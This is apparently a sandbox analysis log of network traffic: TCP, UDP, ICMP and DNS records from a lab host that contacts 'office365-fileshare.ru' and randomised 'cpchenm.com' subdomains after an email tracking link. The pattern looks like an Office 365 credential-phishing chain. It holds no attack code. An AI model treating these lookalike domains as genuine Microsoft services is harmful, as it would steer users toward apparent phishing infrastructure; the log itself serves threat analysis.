Nov 12, 2024 17:30:06.106632948 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.106653929 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.106686115 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.106785059 CET	49250	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.106800079 CET	443	49250	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.111047029 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.111069918 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:06.111119986 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.111459017 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:06.111469030 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.340115070 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.340501070 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.340524912 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.340862036 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.341239929 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.341346979 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.341396093 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.387336016 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.757016897 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.757098913 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.757145882 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.757164001 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.757184982 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.757220984 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.757303953 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.757350922 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.890002012 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.890106916 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.890255928 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.890316010 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.891133070 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.891143084 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:08.891195059 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:08.891206980 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.007596970 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.007666111 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.007709026 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.007719040 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.007765055 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.024128914 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.024142027 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.024175882 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.024189949 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.024209976 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.024228096 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.024343014 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.140588045 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.140599966 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.140619993 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.140654087 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.140670061 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.140681982 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.140831947 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.259682894 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.259695053 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.259723902 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.259732962 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.259742975 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.259768963 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.260555029 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.261013985 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.261043072 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.261054993 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.261063099 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.261090994 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.261204958 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.359549999 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.359591007 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.359615088 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.359632015 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.359646082 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.359885931 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.377275944 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.377305984 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.377326965 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.377340078 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.377382040 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.377389908 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.377427101 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:09.377430916 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.377468109 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.377715111 CET	49257	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:09.377726078 CET	443	49257	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:12.067859888 CET	49261	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:30:12.067897081 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:12.067945957 CET	49261	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:30:12.069875002 CET	49261	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:30:12.069894075 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:12.931596041 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:12.934092999 CET	49261	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:30:12.934128046 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:12.934417963 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:12.934837103 CET	49261	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:30:12.934899092 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:13.137411118 CET	49261	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:30:18.566025972 CET	443	49194	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:18.566112041 CET	443	49194	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:18.566178083 CET	49194	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:20.318723917 CET	49194	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:20.318758965 CET	443	49194	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:22.956353903 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:22.956423998 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:22.956501007 CET	49261	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:30:24.312135935 CET	49261	443	192.168.2.22	142.250.186.100
Nov 12, 2024 17:30:24.312169075 CET	443	49261	142.250.186.100	192.168.2.22
Nov 12, 2024 17:30:34.124017000 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:34.124036074 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:34.131634951 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:34.131700993 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:34.131742954 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:34.315486908 CET	49213	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:34.315506935 CET	443	49213	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:35.814342022 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:35.814418077 CET	443	49217	2.59.163.43	192.168.2.22
Nov 12, 2024 17:30:35.814562082 CET	49217	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:36.318542957 CET	49217	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:30:36.318572044 CET	443	49217	2.59.163.43	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 17:29:08.007304907 CET	53	62751	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:08.110317945 CET	53	49881	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:09.989449978 CET	53	65510	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:10.347482920 CET	62672	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:10.356102943 CET	56475	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:11.181191921 CET	58105	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:11.181430101 CET	64928	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:11.199719906 CET	53	58105	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:11.204427958 CET	53	64928	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:12.008654118 CET	57390	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:12.009042978 CET	58095	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:12.015748024 CET	53	58095	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:12.017592907 CET	53	57390	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:15.537134886 CET	49608	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:15.537354946 CET	61486	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:15.544214964 CET	53	49608	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:15.556215048 CET	53	61486	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:26.976119041 CET	53	59447	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:32.370553970 CET	65009	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:32.371396065 CET	64956	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:32.389266014 CET	53	64956	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:32.397273064 CET	53	65009	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:33.838484049 CET	49750	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:33.838706017 CET	64687	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:33.857363939 CET	53	49750	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:33.859255075 CET	53	64687	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:33.915047884 CET	53	63373	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:35.366254091 CET	58971	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:35.366425037 CET	51014	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:35.384984016 CET	53	58971	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:35.391947031 CET	53	51014	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:37.585211992 CET	60169	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:37.585609913 CET	53060	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:37.606234074 CET	53	60169	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:37.622827053 CET	53	53060	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:39.123903036 CET	54027	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:39.124140024 CET	63950	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:39.143548012 CET	53	63950	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:39.160221100 CET	53	54027	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:40.679827929 CET	54738	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:40.679984093 CET	49478	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:40.691920042 CET	53	54738	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:40.720937967 CET	53	49478	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:44.700874090 CET	53	54695	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:49.628977060 CET	50702	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:49.629093885 CET	53089	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:49.636039019 CET	51951	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:49.636184931 CET	61549	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:49.636266947 CET	53	53089	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:49.638571978 CET	53	50702	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:49.639491081 CET	57998	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:49.639632940 CET	62439	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:49.646541119 CET	53	51951	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:49.647229910 CET	53	61549	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:49.650053978 CET	53	62439	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:49.662106037 CET	53	57998	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:49.859045029 CET	59432	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:49.859186888 CET	55910	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:49.886049032 CET	53	59432	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:49.889144897 CET	53	55910	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:56.677360058 CET	57027	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:56.677791119 CET	50380	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:56.696572065 CET	53	57027	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:56.774316072 CET	56156	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:56.774485111 CET	60971	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:29:56.786953926 CET	53	50380	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:56.793740988 CET	53	60971	8.8.8.8	192.168.2.22
Nov 12, 2024 17:29:56.816044092 CET	53	56156	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:00.193926096 CET	62930	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:30:00.194055080 CET	61008	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:30:00.204641104 CET	53	62930	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:00.205178976 CET	59514	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:30:00.205404043 CET	53077	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:30:00.296128035 CET	53	61008	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:00.527132988 CET	55388	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:30:00.527270079 CET	60624	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:30:00.872180939 CET	53	60981	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:00.877334118 CET	51161	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:30:00.877475023 CET	50357	53	192.168.2.22	8.8.8.8
Nov 12, 2024 17:30:00.883021116 CET	53	60624	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:00.884166002 CET	53	51161	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:00.891609907 CET	53	55388	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:00.915801048 CET	53	50357	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:03.126146078 CET	53	60122	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:08.346333981 CET	53	60994	8.8.8.8	192.168.2.22
Nov 12, 2024 17:30:47.708240986 CET	53	53959	8.8.8.8	192.168.2.22

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 12, 2024 17:29:10.365981102 CET	192.168.2.22	8.8.8.8	d087	(Port unreachable)	Destination Unreachable
Nov 12, 2024 17:29:40.720999956 CET	192.168.2.22	8.8.8.8	d049	(Port unreachable)	Destination Unreachable
Nov 12, 2024 17:29:49.637792110 CET	192.168.2.22	8.8.8.8	d15c	(Port unreachable)	Destination Unreachable
Nov 12, 2024 17:29:56.787013054 CET	192.168.2.22	8.8.8.8	d049	(Port unreachable)	Destination Unreachable
Nov 12, 2024 17:30:00.296211004 CET	192.168.2.22	8.8.8.8	d049	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 17:29:10.347482920 CET	192.168.2.22	8.8.8.8	0x9974	Standard query (0)	ctrk.klclick3.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:10.356102943 CET	192.168.2.22	8.8.8.8	0xf926	Standard query (0)	ctrk.klclick3.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:11.181191921 CET	192.168.2.22	8.8.8.8	0xbe0a	Standard query (0)	office365-fileshare.ru	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:11.181430101 CET	192.168.2.22	8.8.8.8	0x1418	Standard query (0)	office365-fileshare.ru	65	IN (0x0001)	false
Nov 12, 2024 17:29:12.008654118 CET	192.168.2.22	8.8.8.8	0x28de	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:12.009042978 CET	192.168.2.22	8.8.8.8	0xe585	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:15.537134886 CET	192.168.2.22	8.8.8.8	0xda9e	Standard query (0)	office365-fileshare.ru	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:15.537354946 CET	192.168.2.22	8.8.8.8	0x390b	Standard query (0)	office365-fileshare.ru	65	IN (0x0001)	false
Nov 12, 2024 17:29:32.370553970 CET	192.168.2.22	8.8.8.8	0x8c69	Standard query (0)	cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:32.371396065 CET	192.168.2.22	8.8.8.8	0x7b6c	Standard query (0)	cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:33.838484049 CET	192.168.2.22	8.8.8.8	0x4985	Standard query (0)	tvrcemeheff.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:33.838706017 CET	192.168.2.22	8.8.8.8	0x5489	Standard query (0)	tvrcemeheff.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:35.366254091 CET	192.168.2.22	8.8.8.8	0xcf03	Standard query (0)	tvrceocprq.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:35.366425037 CET	192.168.2.22	8.8.8.8	0x54b8	Standard query (0)	tvrceocprq.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:37.585211992 CET	192.168.2.22	8.8.8.8	0xf0d8	Standard query (0)	tvrcedjrhte.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:37.585609913 CET	192.168.2.22	8.8.8.8	0x69e2	Standard query (0)	tvrcedjrhte.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:39.123903036 CET	192.168.2.22	8.8.8.8	0x861b	Standard query (0)	tvrceocprq.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:39.124140024 CET	192.168.2.22	8.8.8.8	0x13a8	Standard query (0)	tvrceocprq.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:40.679827929 CET	192.168.2.22	8.8.8.8	0x4f60	Standard query (0)	tvrcedjrhte.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:40.679984093 CET	192.168.2.22	8.8.8.8	0x3275	Standard query (0)	tvrcedjrhte.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:49.628977060 CET	192.168.2.22	8.8.8.8	0x8350	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.629093885 CET	192.168.2.22	8.8.8.8	0x3cb	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Nov 12, 2024 17:29:49.636039019 CET	192.168.2.22	8.8.8.8	0xcb73	Standard query (0)	tvrcedjrhte.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.636184931 CET	192.168.2.22	8.8.8.8	0xcacf	Standard query (0)	tvrcedjrhte.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:49.639491081 CET	192.168.2.22	8.8.8.8	0x3b54	Standard query (0)	tvrceocprq.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.639632940 CET	192.168.2.22	8.8.8.8	0xd0c6	Standard query (0)	tvrceocprq.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:49.859045029 CET	192.168.2.22	8.8.8.8	0xadda	Standard query (0)	tvrcehrvetbr.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.859186888 CET	192.168.2.22	8.8.8.8	0x90b3	Standard query (0)	tvrcehrvetbr.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:56.677360058 CET	192.168.2.22	8.8.8.8	0x8f2	Standard query (0)	tvrcemejeff.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:56.677791119 CET	192.168.2.22	8.8.8.8	0x2807	Standard query (0)	tvrcemejeff.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:29:56.774316072 CET	192.168.2.22	8.8.8.8	0x572a	Standard query (0)	tvrcehrvetbr.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:56.774485111 CET	192.168.2.22	8.8.8.8	0x9703	Standard query (0)	tvrcehrvetbr.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:30:00.193926096 CET	192.168.2.22	8.8.8.8	0xbd75	Standard query (0)	tvrcemejeff.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:30:00.194055080 CET	192.168.2.22	8.8.8.8	0x2f1	Standard query (0)	tvrcemejeff.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:30:00.205178976 CET	192.168.2.22	8.8.8.8	0x6bee	Standard query (0)	r4.res.office365.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:30:00.205404043 CET	192.168.2.22	8.8.8.8	0x25a6	Standard query (0)	r4.res.office365.com	65	IN (0x0001)	false
Nov 12, 2024 17:30:00.527132988 CET	192.168.2.22	8.8.8.8	0xf2e2	Standard query (0)	tvrcemeheff.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:30:00.527270079 CET	192.168.2.22	8.8.8.8	0x5fa7	Standard query (0)	tvrcemeheff.cpchenm.com	65	IN (0x0001)	false
Nov 12, 2024 17:30:00.877334118 CET	192.168.2.22	8.8.8.8	0x7a8c	Standard query (0)	tvrcemejeff.cpchenm.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:30:00.877475023 CET	192.168.2.22	8.8.8.8	0x220f	Standard query (0)	tvrcemejeff.cpchenm.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 17:29:10.357784033 CET	8.8.8.8	192.168.2.22	0x9974	No error (0)	ctrk.klclick3.com	cloudflare.klaviyodns.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:10.365906000 CET	8.8.8.8	192.168.2.22	0xf926	No error (0)	ctrk.klclick3.com	cloudflare.klaviyodns.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:11.199719906 CET	8.8.8.8	192.168.2.22	0xbe0a	No error (0)	office365-fileshare.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:11.199719906 CET	8.8.8.8	192.168.2.22	0xbe0a	No error (0)	office365-fileshare.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:11.204427958 CET	8.8.8.8	192.168.2.22	0x1418	No error (0)	office365-fileshare.ru			65	IN (0x0001)	false
Nov 12, 2024 17:29:12.015748024 CET	8.8.8.8	192.168.2.22	0xe585	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 17:29:12.017592907 CET	8.8.8.8	192.168.2.22	0x28de	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:15.544214964 CET	8.8.8.8	192.168.2.22	0xda9e	No error (0)	office365-fileshare.ru		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:15.544214964 CET	8.8.8.8	192.168.2.22	0xda9e	No error (0)	office365-fileshare.ru		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:15.556215048 CET	8.8.8.8	192.168.2.22	0x390b	No error (0)	office365-fileshare.ru			65	IN (0x0001)	false
Nov 12, 2024 17:29:32.397273064 CET	8.8.8.8	192.168.2.22	0x8c69	No error (0)	cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:33.857363939 CET	8.8.8.8	192.168.2.22	0x4985	No error (0)	tvrcemeheff.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:35.384984016 CET	8.8.8.8	192.168.2.22	0xcf03	No error (0)	tvrceocprq.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:37.606234074 CET	8.8.8.8	192.168.2.22	0xf0d8	No error (0)	tvrcedjrhte.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:39.160221100 CET	8.8.8.8	192.168.2.22	0x861b	No error (0)	tvrceocprq.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:40.691920042 CET	8.8.8.8	192.168.2.22	0x4f60	No error (0)	tvrcedjrhte.cpchenm.com		2.59.163.43	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.626413107 CET	8.8.8.8	192.168.2.22	0x1a5b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.626413107 CET	8.8.8.8	192.168.2.22	0x1a5b	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.626413107 CET	8.8.8.8	192.168.2.22	0x1a5b	No error (0)	s-part-0017.t-0009.fb-t-msedge.net		13.107.253.45	A (IP address)	IN (0x0001)	false
Nov 12, 2024 17:29:49.636266947 CET	8.8.8.8	192.168.2.22	0x3cb	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.636266947 CET	8.8.8.8	192.168.2.22	0x3cb	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.637737989 CET	8.8.8.8	192.168.2.22	0xf088	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 17:29:49.637737989 CET	8.8.8.8	192.168.2.22	0xf088	No error (0)	dual.s-part-0017.t-0009.fb-t-msedge.net	s-part-0017.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
